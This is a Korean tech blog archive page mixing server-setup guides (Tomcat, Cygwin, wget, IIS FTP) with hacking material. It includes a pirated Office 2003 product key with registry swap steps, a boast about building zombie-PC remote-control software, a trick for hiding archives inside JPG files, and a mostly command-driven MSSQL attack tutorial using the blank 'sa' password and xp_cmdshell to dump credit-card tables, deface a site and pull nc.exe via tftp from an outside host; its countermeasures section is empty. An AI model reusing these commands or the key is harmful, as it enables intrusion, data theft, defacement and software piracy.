Search Results for '전체 분류'


2064 posts related to '전체 분류'

  1. 2010/02/11 네이트온글씨체 바꾸기
  2. 2010/02/11 MS OFFICE 2003 정식 인증되는 시디키 입니다. 5
  3. 2009/12/01 IIS+Tomcat 설치
  4. 2009/11/20 악성코드 그림파일 JPG 등에 포함 하기. ^^ 1
  5. 2009/11/20 Bat2Exe - *.BAT 파일을 EXE 파일로 만들어 주는 프로그램입니다.
  6. 2009/11/19 Eclipse - 설치 및 환경 설정 java
  7. 2009/11/18 PARAN SYSTEM POWER 1
  8. 2009/11/18 bat2exe 보다 낫다. BatchX 2
  9. 2009/11/18 트레이아이콘을 숨기자! PSTrayFactory
  10. 2009/10/14 Cygwin bash prompt 모양 바꾸기.
  11. 2009/10/14 Cygwin 한글 입출력 원활히 사용하기.
  12. 2009/10/13 JS 파일 인코드 및 디코드 asp
  13. 2009/10/13 wget 사용법 2 4
  14. 2009/10/13 Windows 2003 FTP 사용자 격리 및 IIS 설정 - 웹호스팅용 2
  15. 2009/10/13 hmailserver 소개 (메일서 소개)
  16. 2009/10/12 제로보드 스킨 보안 취약점
  17. 2009/10/12 그누보드 보안 취약점 발표 됐네요.
  18. 2009/10/07 mssql 포트를 이용한 db해킹 1
  19. 2009/09/30 웹에서 doc 파일을 프린트하기 2
  20. 2009/09/30 자바스크립트 에러 상태창에 표시
  21. 2009/09/30 한 번의 링크 클릭으로 두 개의 페이지를 여는 방법
  22. 2009/09/30 MSN 친구 자동으로 추가하는 스크립트 1
  23. 2009/09/30 SqlRootKit 1.01 (MSSQL 서버 접근 툴)
  24. 2009/09/30 Nstealth 5.8 b103 웹 취약점 스캐너
  25. 2009/09/30 최신 해킹의 주범 윈도 루트킷을 잡아내자 -rkdscan
  26. 2009/09/30 HDSI툴분석
  27. 2009/09/30 MySQL Weak Password Encryption Vulnerability Exploit
  28. 2009/09/30 Linux >= 2.6.13 prctl kernel exploit
  29. 2009/09/30 Windows SHELL32.DLL Denial of Service exploit
  30. 2009/09/30 SSH1 remote root exploit
네이트온 글씨체 바꾸는 프로그램 입니다.
 
사용법은 간단합니다. 실행후 자신의 컴퓨터에 폰트불러서 적용하면 네이트온에 적용됩니다.
 
잘사용하세요^^
2010/02/11 17:53 2010/02/11 17:53
MS OFFICE 2003 정식 인증되는 시디키 입니다.
오피스 설치시 다음의 시디키를 입력하시거나, 이미 설치되어 있다면 regedit.exe를 이용해서 기존의 시디키를 삭제하고 재입력 하면 됩니다.

Product Name    : Microsoft Office Professional Edition 2003
Product Key       : TKFXV-BBC8G-9MHT9-69VDH-YD3HM

참고 - 시디키 변경방법
1. 시작→실행→regedit
2. HKEY_LOCAL_MACHINE-SOFTWARE-Microsoft-Office-11.0-Registration-{90110412-6000-11D3-8CFE-0150048383C9} 에 들어간다.
3. 오른쪽 탭의 DigitalProductID, ProductID 2가지 항목 삭제.(마우스 우클릭-삭제)
4. Office2003 프로그램 중 아무거나 한가지 실행.
5. 제품 키를 다시 입력하라는 창이 뜬다. 위의 정식 키 입력.

시디키 변경 후 정품 인증 확인 사이트
http://www.microsoft.com/genuine/default.aspx?displaylang=ko

2010/02/11 09:59 2010/02/11 09:59
iis5.0,6.0 과 Tomcat 6.0 연동하기

*** IIS(windows)와 Tomcat 연동


1. download(A,B,C,D)
http://java.sun.com/javase/downloads/index.jsp

A.jdk-6u3-windows-i586-p.exe (Windows Offline Installation, Multi-language )
B.jre-6u3-windows-i586-p.exe (Windows Offline Installation, Multi-language )

http://tomcat.apache.org/download-60.cgi

C.Tomcat 6:
apache-tomcat-6.0.14.exe (Windows Executable)
D.Tomcat Connectors (mod_jk, mod_jk2, mod_webapp):
        Tomcat Connectors JK 1.2 Binary Releases -> win32 ->
isapi_redirect.msi,isapi_redirect.dll
http://tomcat.apache.org/download-connectors.cgi

2. install

JDK 또는 JRE을 default로 설치한다.
apache-tomcat-6.0.14.exe을 실행
- 모든 설정은 default로 하며 풀로 설치한다.

내컴퓨터->등록정보->고급->환경변수->
CATALINA_HOME(C:\Program Files\Apache Software Foundation\Tomcat 6.0)
JAVA_HOME(C:\Program Files\Java\jre1.6.0_03)
변수를 등록한다.

isapi_redirect.msi를 실행
- 모든 설정을 default로 설치한다
   (레지스트리와 iis의 가상디렉토리가 자동으로 설정된다)

3. conf 수정

Tomcat 6.0이 설치된 경로의 conf 디렉토리의

server.xml에서
       맨아래의 <host></host>사이에 <Context.... />을 추가한다
<host>
               ...
               ...
<Context path="" docBase="웹문서경로(e.g. c:\inetpub\wwwroot)" debug="0" reloadable="true" />
<Context path="/" docBase="c:\inetpub\wwwroot" debug="0" reloadable="true" />
</host>

isapi_redirect.msi 설치디렉토리의
workers.properties.minimal은 수정하지 않는다
uriworkermap.properties에서
/jsp-examples/*=wlb
/servlets-examples/*=wlb 아래 부분에

#현재는 개별 적용
#전부다 적용 할경우 아래 주석을 푼다.
#/*=wlb
#개별로 할경우 해당되는 내용만 적용한다.
/=wlb
/*.jsp=wlb
/*.do=wlb



4. IIS 설정

웹사이트 등록정보( 웹사이트 전체 폴더 절대 개별 웹사이트가 아님) -> ISAPI필터 ->필터 이름은 임의로 지정(e.g  tomcat connector)
하고 isapi_redirect.dll)를 추가한다.
(C:\Program Files\Apache Software Foundation\Jakarta Isapi Redirector\bin\isapi_redirect.dll)
iis6.0일 경우 웹서비스 확장에서 오른쪽 버튼을 누르고 새로 만들기에서
(jakarta - isapi_redirect.dll)을 허용함으로 만들어 놓아야 한다.

추가할 사이트에 가상디렉토리를 잡아준다.( 가상디렉토리명은 jakarta 로 하고
디렉토리경로는  isapi_redirect.dll 이 있는 디렉토리로 잡아준다.
(C:\Program Files\Apache Software Foundation\Jakarta Isapi Redirector\bin)


서비스 -> Apache Tomcat 등록정보 -> 시작 유형을 자동으로 지정한다.


5. 관리도구의 서비스에서 IIS Admin과 tomcat을 리스타트 한다.
   IIS를 리스타트 한다.

2009/12/01 20:49 2009/12/01 20:49

아주 간단합니다. ㅎㅎ

COPY /b 이름1.JPG + 이름2.rar 이름3.jpg

이렇게 하면  1이랑 2 요놈 둘이 이름3.JPG 로 변경 됩니다. ^^

2009/11/20 19:03 2009/11/20 19:03

후배가 여러 컴퓨터를 좀비 PC 로 만들려고 계획을 세우고 있었다.

근데 어느날 갑자기. 완성 - 감탄했다.

문제점 - 백신이 업데이트 되면 자동 치료 -

궁금해서 여러 사이트를 서핑 하면서 . 좀비 + 원격제어 + 기타 등등 소스를 보게 되었다.

그래서 본인이 여러차례 수정을 거듭해서 완성하게 되었다. 

회사 엑티브엑스 인증서를 쓰기가 그래서 테스트 인증서로 테스트를 했는데.

성공적으로 작동하는것을 확인 했다.

이런 작업을 하면서 필요 했던 프로그램이다.

이번에 느낀건데 절대로 검증 안된 사이트에서 엑티브 엑스를 설치 하지 말아야 할것이다. ^^


-

확실히 WinRAR 가 BAT 2 EXE보다 바이러스 오진율이 적군요.

 

이제 WINRAR와 BAT2EXE 을 장점과 단점.

BAT 2 EXE

장점 : 파일을 용량이 적다.

          안에 파일을 보기가 어렵다.

단점 : 바이러스 오진율이 높다.


WINRAR

장점 : 바이러스 오진율이 적다.

단점 : 파일을 용량이 크다.

          RAR로 압축되어 안의 파일을 맘대로 볼수 있다.

2009/11/20 18:35 2009/11/20 18:35

JSP(웹언어)

1. JDK1.5 - JSP컴파일 프로그램
2. Tomcat5.5 - 웹서버프로그램(무료)  <Resin - 유료(톰캣보다 안정적, 한글처리가능)>
3. Eclipse3.0 - 개발툴
                     1)Tomcat plugin (웹서버관리도구)
                     2)WTP-all-in-on (개발툴플랫폼)
                     3)퀀텀DB (DB연동)


---------------------------------------------------------------------------------------


JDK설치


내컴퓨터-속성-고급-환경변수

; - 마침표의 역할


변수이름 : JAVA_HOME - 자바의 최상위 위치 설정

변수값 : C:\Program Files\Java\jdk1.5.0_06;


변수이름 : CLASSPATH - 자바의 컴파일러가 있는 파일 위치 설정(하는 변수값)

변수값 : C:\Program Files\Java\jdk1.5.0_06\lib\tools.jar;


변수이름 : PATH - 컴파일된 파일을 실행시켜주기위한 위치 설정

변수값 : C:\Program Files\Java\jdk1.5.0_06\bin;



cmd창에서


java -version : 자바 버전확인

javac : 자바 컴파일확인

java : 컴파일된 파일 실행 확인


----------------------------------------------------------------------------------------


Tomcat설치


c\로 폴더전체 옮긴후 환경변수 설정


변수이름 : CATALINA_HOME - 톰캣최상위 위치 설정

변수값 : C:\apache-tomcat-5.5.15;


변수이름 : CLASSPATH - 톰캣의 컴파일러가 있는 파일 위치 설정

변수값 : C:\apache-tomcat-5.5.15\common\lib\servlet-api.jar; (기존의 CLASSPATH에 덧붙임)


변수이름 : PATH - 톰캣엔진안에서 컴파일된 파일을 실행시켜주기위한 위치 설정

변수값 : C:\apache-tomcat-5.5.15\bin; (기존의 PATH에 덧붙임)


-------------------------------------------------------------------------------------


eclipse설치


1. 기존의 3.0버전의 eclipse폴더를 c\로 복사

2. wtp-all-in-one 폴더에서 3.2버전의 eclipse폴더를 기존의 c\로 덮어씌우기

3. Tomcatplugin폴더를 eclipse\plugins\에 추가    ==> eclipse에 고양이 3마리 생성


--------------------------------------------------------------------------------------


퀀텀DB설치


1. features, plugins폴더를 복사하여 C\eclipse\폴더에 추가


사용자 삽입 이미지



























 이클립스에서 확인
2009/11/19 01:47 2009/11/19 01:47
PARAN SYSTEM POWER
2009/11/18 23:30 2009/11/18 23:30
배치파일(bat,cmd)을 실행화일(exe)로 바꾸는 프로그램입니다.

USB메모리용으로 상대경로 바로가기 링크를 만들려다 발견했습니다.

기존의 bat2exe보다 기능이 좀더 낫더군요.

사용자 삽입 이미지

bat2exe보다 장점?!

  • 실행시 별도의 (지저분한!) cmd창이 뜨지 않습니다.
  • 리소스핵으로 아이콘을 삽입해도 오류가 뜨지 않습니다.(이것때문에 구했습니다.)

사이트: http://code.google.com/p/batchx/

2009/11/18 06:13 2009/11/18 06:13
사용자 삽입 이미지
트레이아이콘를 숨기거나, 순서를 바꾸는 프로그램입니다.

무설치버전입니다. 적당한 곳에 압축을 풀고, PSTrayFactory.exe 를 실행하시면 시작프로그램에 등록됩니다.

어떤 용도로 쓸지 고민해 보세요 .!!

2009/11/18 06:10 2009/11/18 06:10

리눅스에서 흔히 볼수 있는 [guest@zgd home]$ 식의 프롬프트를 이용하고 싶다면싶다면
profile 파일을 수정해줘야 합니다.
profile 파일을 이해하고 프롬프트 설정 부분만 찾아서찾아서 변경해주면 참 좋겠으나
저처럼 초보인 경우엔 단순한 쉘스크립트도 복잡해보입니다.
그래서 마지막 줄에 추가하는 식으로 설명 해놨습니다.

일단일단 자신의 홈디랙토리에 .bash_profile 파일이 있나 확인해봅니다.

없다면,

cp /etc/profile ~/.bash_profile


하시고,하시고,


복사된 .bash_profile 제일 마지막 줄에 아래의 코드를 입력하면 흔히흔히 보던 프롬프트 모양으로 바뀔 것입니다.


export PS1='[\u@\h \W]\$ '


export PS1='[\u@\h \W]\$ '
[master@nox ~]$


덧 , 새로운 환경변수에 적용되기 위해서는 재접속 하셔야 합니다.

2009/10/14 15:46 2009/10/14 15:46

Cygwin 기본설정 상태에서는 한글입출력이 불가능 합니다.
몇가지 환경설정을 해줘야 한글 입출력이 가능해 집니다.

자신의 홈 디렉토리의
.inputrc 파일을 생성하여 다음의 내용을 추가하여 줍니다.

set meta-flag on
set convert-meta off
set output-meta on

마찬가지로 홈 디렉토리의
.bashrc 파일을 생성하여 다음의 내용을 추가하여 줍니다.

alias ls='ls -F --color=auto --show-control-char'
alias l.='ls -dl .[a-zA-Z]*'
alias ll='ls -al'
alias cp='cp -i'
alias mv='mv -i'
alias rm='rm -i'

마지막으로 .bash_profile 맨 마지막에

if [ -f /etc/bash.bashrc ] ; then
source /etc/bash.bashrc
fi

if [ -z "$INPUTRC" -a ! -f "$HOME/.inputrc" ]; then
INPUTRC=/etc/inputrc
fi

를 추가해줍니다.

2009/10/14 15:45 2009/10/14 15:45

2.인코딩 방법은 다음 ms의 url을 참조하십시오.
http://msdn.microsoft.com/library/en-us/script56/html/d8f019c3-5249-4947-a8a2-247e75e3e468.asp
인코더 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=E7877F67-C447-4873-B1B0-21F0626A6329&displaylang=en


3.디코딩 역시 툴을 이용하였습니다.
http://www.virtualconspiracy.com/scrdec.html
예)
C:\>scrdec18.exe newclubt_webp_v1.js decode.html




Window Script Encode




준비물

사용법 : screnc [/?] [/s] [/f] [/xl] [/l ScriptLanguage] [/e DefaultExtension] <source> <destination>

/s - 아무런 메세지를 표시하지 않습니다.
/f  - 결과파일이 존재할경우 없어쓰기를 합니다.
/xl - 다음 확장자를 제외하고 Encode 합니다.


예제 :
screnc /f test.html                
[ test.html 파일을 Encode 하여서 덮어씌웁니다. ]

screnc *.asp c:\myDir          
[ 현재폴더의 모든 ASP 파일을 Encode 해서 c:\myDir 폴더로 복사합니다. ]

screnc -e asp *.* c:\myDir
[ 현재폴더의 확장자가 ASP 인 파일을 Encode 해서 c:\myDir 폴더로 복사합니다. ]

screnc -e asp -xl *.inc *.* c:\myDir
[ 현재폴더의 확장자가 inc 인 파일만 Encode 해서 c:\myDir 폴더로 복사합니다. ]
 


Window Script Decode




준비물

사용법 : Usage: scrdec18 <infile> <outfile> [-cp codepage] [-urldec|-htmldec]   [-verbose] [-dumb]

-cp    :  일본어, 중국어(Simplified, Traditional) , 한국어(완성, 조합) 로 인코딩된경우 해당 언어설정을 하여야 합니다.
           932 - 일본어
           936 - 중국어 (Simplified)
           950 - 중국어 (Traditional)
           949 - 한국어 (완성)
          1361 - 한국어 (조합)

-urldec    : %xx 형식으로 변경을 합니다.
-htmldec : &amp;형식으로 변경을 합니다.
-verbose : 상세한 설명을 표시합니다.


예제 :
scrdec18 test.asp test_decode.asp
[ test.asp 파일을 test_decode.asp 파일로 Decode 합니다. ]
[출처] JS 파일 인코드 및 디코드|작성자 꼬마곰푸

2009/10/13 14:20 2009/10/13 14:20

wget 사용법 2

* 이 글은 유닉스 관련 운영체제의 경험이 별로 없는 사람을 위한 wget 의 간단한 지침서입니다.

1. wget ?

코맨드 라인에서 파일 다운로드를 쉽게 할 수 있는 유틸리티이다. 요즘의 대부분의 리눅스 배포판에는 기본적으로 설치되어 있다.

2. Windows 버전의 wget

* win32 에서 사용가능한 바이너리도 존재한다. 여기를 참조.

- 위의 바이너리를 다운로드하고 윈도우 환경변수에서 PATH에 잡혀 있는 폴더로 복사해 둔다.
- "어떻게 윈도우에서 PATH를 잡나요?" 라고 생각하시는 분이라면 여기를 참조할 것.
- "PATH가 뭐지요?" 라고 생각하는 분이라면 걍 C:Windows 폴더로 복사한다. -.-;;;

3. 기본적인 사용법
 
- PATH가 걸린 상태에서 '명령 프롬프트' 를 부르고 'wget' 을 입력한다.
* 보다 명령 프롬프트를 쉽게 사용하려면 여기를 참조.

- "wget --help" 라고 하면 사용할 수 있는 옵션이 출력된다.


4. 중요한 옵션 및 사용예
 
- r : 지정된 디렉토리의 하위 디렉토리의 내용을 몽땅 다운로드한다.

사용예 : wget -r ftp://ftp.ncbi.nlm.nih.gov/blast/db/ 
설명 : 이렇게 하면 ftp://ftp.ncbi.nlm.nih.gov/blast/db/ 의 디렉토리 구조를 유지한 채로 모든 파일을 불러온다.

- nd : 디렉토리를 만들지 않는다. 계층적으로 나열된 웹 사이트의 디렉토리의 내용을 한 디렉토리로 불러올 때 편리하다. -r 옵션과 같이 사용하면 매우 유용하다.

사용예 : wget -nd -r ftp://ftp.ncbi.nlm.nih.gov/blast/db/ 
설명 : 이렇게 하면 ftp://ftp.ncbi.nlm.nih.gov/blast/db/  내의 내용물을 현재 폴더에 몽땅 다운로드받는다.

-A, --accept=: 지정된 확장자의 파일만을 받아온다.

사용예 : wget -nd -r --accept=fna ftp://ftp.ncbi.nlm.nih.gov/genomes/Bacteria/

설명 : 이렇게 하면 ftp://ftp.ncbi.nlm.nih.gov/genomes/Bacteria 에서 확장자가 .fna 인 파일만을 받아서 현재 디렉토리에 저장한다. (물론 -nd 옵션을 빼면 폴더 구조가 그대로 유지된다)


-R, --reject=: 지정된 확장자의 파일만을 빼고 받아온다.

사용예 : wget -nd -r --accept=fna ftp://ftp.ncbi.nlm.nih.gov/genomes/Bacteria/

설명 : 이렇게 하면 ftp://ftp.ncbi.nlm.nih.gov/genomes/Bacteria 에서 확장자가 .fna 인 파일만 빼고 받아서 현재 디렉토리에 저장한다.

-l , --level= : -r 옵션, 즉 하위 디렉토리 받아오기를 사용하였을 때 다운로드받을 최대 단계를 지정할 때 사용한다.

사용예 : wget -nd -r --accept=fna --level=3 ftp://ftp.ncbi.nlm.nih.gov/genomes/Bacteria/ 
설명 : ftp://ftp.ncbi.nlm.nih.gov/genomes/Bacteria 에서 확장자가 .fna 인 파일만 빼고 받고 3단계까지 거슬러 올라서 다운로드를 수행한다.

-N : 현재 다운로드 받을 위치에 있는 파일이 현재 내 하드에 있는 파일보다 새로운 파일일때만 다운로드를 수행한다

-m : 미러 명령. 즉, 특정한 웹사이트의 내용을 그대로 폴더 구조채 긁어오되, 새로 업데이트한 내용만을 다운받고 싶을 때 사용한다.

ftp id, password 지정 : wget ftp://id:password@website



이런 식으로 id와 password를 지정하면 된다

이 정도면 많이 사용하는 옵션에 대해서는 설명했을 것이다. 기타 명령어에 대해서는 wget --help 를 입력하면 자세한 설명이 나와 있다.


5. 기타
 
- 쉘 스크립트나 배치 파일을 이용하여 자동화하면 매우 편리하다.

가령 유닉스 계열이라면

#!/bin/bash
wget -nd -r ftp://id:password@website/$1/
.
.
.


과 같은 식으로 간단한 쉘 스크립트를 작성하여 적당한 이름으로 저장한 후, Path가 걸린 위치에 넣고 실행 권한 (chmod +x <파일이름>) 을 주면 매우 편리하다.

윈도우라면

echo off
wget -nd -r  ftp://id:password@website/%1/
.
.
.

과 같은 식으로 배치 파일을 만들고 *.bat 으로 저장한다.
2009/10/13 13:08 2009/10/13 13:08

1. 우선 IIS-FTP 를 설치한다.

2. FTP 루트디렉토리를 만든다. 여기서 난 D:\Web-Hosting\   으로 만들어따.

3. 사용자 추가 하기  새사용자를 추가한다. nforce, koojoo 두개의 계정을 만든다.테스트로.

4. D:\Web-Hosting\ 디렉토리밑에 LocalUser 를 만들고 만든디렉토리 하단에 사용자를 추가한 디렉토리를 만든다.

   이디렉토리는 ftp접속시 사용자 루트 디렉토리이다.

        D:\Web-Hosting\LocalUser\nforce

        D:\Web-Hosting\LocalUser\koojoo


만들고 나서 사용자 디렉토리 밑에 www 란 디렉토리를 만든다.

이디렉토리는 웹서비스 루트 디렉토리이다.

        D:\Web-Hosting\LocalUser\nforce\www

        D:\Web-Hosting\LocalUser\koojoo\www


5. D:\Web-Hosting\LocalUser\nforce 폴더 보안설정에서    Administrators 그룹은 그냥두고 nforce 사용자를 추가하고나서

 두계정에 [모든권한] 을 준다.  koojoo 계정도 마찬가지이다.


6. 이제 알ftp나 다른프로그램을 사용해서 접속해본다. nforce로 접속해보니 잘된다. 테스트로 파일업로드도 해보고 다운로드도 해보자.


7. 웹서비스 설정은 도메인과 ftp 유저에 맞게  D:\Web-Hosting\LocalUser\nforce\www     www 디렉토리를 지정해주면된다.ㅋ



*참고 익명 디렉토리는 D:\Web-Hosting\LocalUser\Public 식으로 지정해주면된다.

2009/10/13 10:25 2009/10/13 10:25

[01] 메일서버 소개
사용자 삽입 이미지





hMail Server는 SMTP, POP3, IMAP을 지원하는 윈도우 서버용 메일서버 이다.
윈도우용 무료 메일서버로 국내에는 알려지지 않은 메일서버이다.

■ 홈페이지 : http://www.hmailserver.com/
■ 다운로드 : http://www.hmailserver.com/?page=download
■ 라이센스 : Freeware(GPL)
■ 플랫폼 : Windows, MySQL, MS SQL

아래 오픈소스 관련 사이트에서 설치 및 관리에 대한 간단한 설명 페이지를 볼수 있다.
http://www.jopenbusiness.com/mediawiki/index.php/HMail_Server_4.4.1

사내 메일이나 소규모 에이전시등에서 사용한다면 최상의 메일서버가 아닐까 생각해본다.
hMail Server + MySQL + SquirrelMail(다람쥐메일php) 을 설치하면 웹메일도 운영가능하다.

PHP기반 관리자 사이트도 제공하고 있어 웹에서 메일서버 관리도 가능하다.

[02] 관리화면 - 상세 관리는 설치 및 설정에서 확인 하실 수 있습니다.
사용자 삽입 이미지


사용자 삽입 이미지

































2009/10/13 09:18 2009/10/13 09:18

http://www.securitytracker.com/alerts/2005/Jan/1012812.html

국내 해커들이 쉬쉬하는 사이....
해외 해커 그룹이 해당 보안 취약점을 발표해버렸습니다.

2009/10/12 10:38 2009/10/12 10:38

opt님이 보안 취약점을 열심히 올리시네요.
수고가 많으십니다. santy 웜이 아주 발작을 하는 시점에 무덤덤하네요. 그누보드는 근 한달 사이에 2번째인듯하네요
이젠 보드 사이를 해매고 있는데 이것도 spyki에 바로 올라가겠는데요.
ps. 이젠 무슨 보드를 써야할지 휴우

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

STG Security Advisory: [SSA-20041224-21] File extensions restriction bypass
vulnerability in GNUBoard.

Revision 1.0
Date Published: 2004-12-24 (KST)
Last Update: 2005-01-33
Disclosed by SSR Team (advisory at stgsecurity.com)

Summary
========
GNUBoard is one of widely used web BBS applications in Korea. However, an
input validation flaw can cause malicious attackers to run arbitrary
commands with the privilege of the HTTPD process, which is typically run as
the nobody user.

Vulnerability Class
===================
Implementation Error: Input validation flaw

Impact
======
High : arbitrary command execution.

Affected Products
================
GNUBoard 3.40 and prior

Vendor Status: NOT FIXED
========================
2004-12-09 Vulnerability found
2004-12-09 Vendor contacted and confirmed.
2005-01-03 Official release.

Details
=======
Implementation of check every file extension of upload files is
case-sensitive. Bypassing this mechanism, malicious attackers can upload
arbitrary script files (php, pl, cgi, etc) to a web server.

gbupdate.php (107 line)
- ----
// 실행가능한 스크립트 확장자
$source = array ("/\.php/", "/\.htm/", "/\.cgi/", "/\.pl/");
$target = array (".phpx", ".htmx", ".cgix", ".plx");
- ----

gbupdate.php (142 line)
- ----
// php_x 와 같은 방법으로 스크립트 실행을 하지 못하게 하였으나 abc.php._x
는 실행되는 버그가 있음
$filename = preg_replace($source, $target, $filename);
// 접두사를 붙인 파일명
$upload[$i] = $prefix . $filename;
$dest_file = "./data/file/$bo_table/$upload[$i]";
- ----

malicious attackers can upload [attack].PHP.rar, [attack].pHp.rar, etc.

Solution
=========
modify 108th line of gbupdate.php as following
$source = array ("/\.php/i", "/\.htm/i", "/\.cgi/i", "/\.pl/i");

Vendor URL
==========
http://www.sir.co.kr/

Credits
======
Jeremy Bae at STG Security

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0

iQA/AwUBQdjxDD9dVHd/hpsuEQIfQgCdH1I3gYRYQhM49hOOEKg35puXscUAoK07
zKwL5QKjuY2Nb2yzKAtFwDhJ
=o+Ui
-----END PGP SIGNATURE-----

2009/10/12 10:37 2009/10/12 10:37
주제2. 1434포트 이용(SQL 포트)
------------------------------
자, 우리는 위에서 어떻게 조작된 URLs를 이용해서 데이타베이스를 깨는지를 알아봤는데,
이는 80포트(HTTP)만을 이용한것이었다. 이번에는 1434 포트를 해킹하는데 사용하도록 하겠다.
그전에 우리는 실제로 데이타베이스 서버들이 무엇이고 그들이 어떻게 작동을 하고 어떻게
또한 고녀석들을 공격할 수 있는지를 알아볼 것이다.

MS sql의 제작자들은 웹디자이너들에게 유용하게 제품을 만들 수 있도록 하기위해,
몇가지 프로시저들을 저장하는 객체들을 주었다. 이것들은 필요는 없지만 인자로 넘겨온 것들로
몇가지 수행은 할 수 있다. 이녀석들은 해커들에게 매우 중요하다. 중요한 것들은 다음과 같다.

sp_passsword -> 로그인 이름에 대한 패스워드를 변경한다.
e.g. EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’

sp_tables -> 현재 데이타베이스에 있는 모든 테이블을 보여준다.
e.g. EXEC sp_tables

xp_cmdshell -> 관리자 권한하에 임의의 시스템 명령어를 수행한다. (가장 중요함)

xp_msver -> OS에 관한 모든 정보를 포함해서 MS SQL 서버 버전을 보여준다.
e.g. master..xp_msver

xp_regdeletekey -> 레지스트리 키 값을 삭제한다.

xp_regdeletevalue -> 레지스트리 값을 삭제한다.

xp_regread -> 레지스트리 값을 읽는다.

xp_regwrite -> 레지스트리 키를 쓴다.

xp_terminate_process -> 프로세스를 중지한다.

요것들이 중요한 몇가지이다. 실제로는 50개정도가 더 있다.
만약 당신이 MS SQL 서버를 보호하고 싶다면 이런것들을 싸그리 지우길 나는 권장한다.
MS SQL 서버 엔터프라이즈 메니저를 이용해서 마스터 데이타베이스는 열려있다.
이제는 확장된 저장소를 더욱 확장시키고 단지 우측 클릭과 삭제를 이용해서 저장된 것들을
지워라. (쉽게보자면 ctrl + A 한다음에 shift + del 해라. 이런 내용 같죠?)

NOTE: Master는 SQL 서버에서 가장 중요한 데이타베이스로 로그인 이름과 시스템 프로시저등
모든 시스템 정보를 포함하고 있다. 그래서 만약 해커가 이 마스터를 지운다면 SQL 서버는
죽을것이다. Syslogins는 데이타베이스에서 사용자이름과 로그인 패스워드를 포함하는 기본적인
시스템 테이블이다.

가장 위험스리한 짓꺼리 : 마이크로소프트 SQL 서버는 기본적으로 "sa"라는 사용자 이름과 함께
공백의 패스워드를 갖고 있다. (즉 ID는 sa고 PASSWORD는 없음) 이것이 과거에 많은 MS sql서버에
포함되어 있었다. 바이러스가 이를 악용함으로써 이 취약점이 패치되었다.

아! 이제 충분해. 해킹이나 하자. 우선! 우리는 서버 취약점들을 찾아봐야할것이다.
좋은 포트 스캐너(웹에 깔렸다)를 다운받은다음에 IP를 찍고 1433/1434 (TCP나 UDP) 포트가
열려있는지를 스캐닝하자. 포트가 열려있다는 의미는 sql 서비스가 돌아간다는 얘기다.
오라클은 포트가 틀리다. 1521이다.
우리는 여기서 일단 198.188.178.1이라는 IP를 지니는 취약한 서버를 얻었다고 가정한다.
(이건 단지 예다. 실제로 공격하지 마세요)
여기서 SQL 서비스를 이용하는 방법은 매우 많다. 텔넷이나 netcat이나.
그러나 당신은 SQL 서버 2000과 함께 배를 탄 osql.exe라는 알려진 툴을 사용할 수 있다.
OK! 이제 함 해보자.

C:>osql.exe -?
osql: unknown option ?
usage: osql              [-U login id]          [-P password]
  [-S server]            [-H hostname]          [-E trusted connection]
  [-d use database name] [-l login timeout]     [-t query timeout]
  [-h headers]           [-s colseparator]      [-w columnwidth]
  [-a packetsize]        [-e echo input]        [-I Enable Quoted Identifiers]
  [-L list servers]      [-c cmdend]
  [-q "cmdline query"]   [-Q "cmdline query" and exit]
  [-n remove numbering]  [-m errorlevel]
  [-r msgs to stderr]    [-V severitylevel]
  [-i inputfile]         [-o outputfile]
  [-p print statistics]  [-b On error batch abort]
  [-O use Old ISQL behavior disables the following]
      <EOF> batch processing
      Auto console width scaling
      Wide messages
      default errorlevel is -1 vs 1
  [-? show syntax summary]

osql 툴의 도움말 화면이다. 우리가 하고픈것을 분명하게 도와준다. 쳐라.

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “”

만약 성공적으로 로그인이 된다면 우리는 무엇인가를 얻게될것이고,
그렇지 않는다면 "sa" 사용자 로그인 실패메시지를 얻게 될것이다.

이제 우리는 단지 기본적으로 저장된 "xp_cmdshell"을 이용함으로써 원격으로 명령어를 수행하길 원한다.

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “exec master..xp_cmdshell ‘dir >dir.txt’”

나는 ?q 옵션보다는 ?Q 옵션을 사용하길 바라는데 왜냐면 쿼리 실행후에 탈출하기 때문이다.
원격에서 어떤 시스템 명령어도 우리는 수행할 수 있음을 확인할 수 있다.
이제 우리는 원격에서 어떤 파일을 업로드하거나 다운로드할 수 있다. 똑똑한 공격자는 백도어를 설치해서
차후를 대비할 것이다. 내가 전에 언급했던 "information_schema.tables"를 이용함으로써
그것의 내용과 테이블 리스트를 얻을 수 있다.

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “select * from information_schema.tables”

login이나 accounts나 users나 카드같은 정보를 포함할 것 같은 테이블을 찾아봐라.

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “select * from users”

그리고

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “select username, creditcard, expdate from users”

출력물:

Username     creditcard                   expdate
-----------      ------------                   ----------
Jack              5935023473209871   2004-10-03 00:00:00.000
Jill             5839203921948323   2004-07-02 00:00:00.000
Micheal        5732009850338493   2004-08-07 00:00:00.000
Ronak          5738203981300410    2004-03-02 00:00:00.000

index.html 파일에 뭣 좀 쓸까?

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “exec master..xp_cmdshell ‘echo defaced by Chintan > C:inetpubwwwrootindex.html’”

원격 시스템에서 파일을 업로드하고 싶나?

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:nc.exe’”

그리고 다운로드 하고싶을땐 우리는 GET 대신에 PUT을 써야한다. 왜냐구?
이 명령어는 원격에서 실행되는것이지 우리것이 아니다. 그래서 만약 GET 요청을 하면 이는
원격에서 실행될것이고 우리의 머쉰에서 원격 머쉰으로 nc.exe를 다운받으려 할것이다.
(이해하셨죠? 즉 보는 관점이 공격자가 아니라 희생자 서버라는 얘기)

이게 끝이 아니다. SQL 서버의 로그인 패스워드를 해킹할 수 있는 툴들은 웹에서 쉽게 사용할 수 있다.
심지어는 많은 버퍼오버플로우가 발견되었기때문에 우리는 시스템 관리자 권한을 얻을 수도 있다.
이 기사는 단지 데이타베이스 서버에 대해서 일반적인 이슈들만을 제공한다.

Sapphire 웜을 기억하나? 이것은 1월 25일날 발표되었다. 이 웜은 SQL 서버에서 1433/1434 UDP 포트의
알려진 3가지 취약점을 이용한 것이었다.

대비책
------
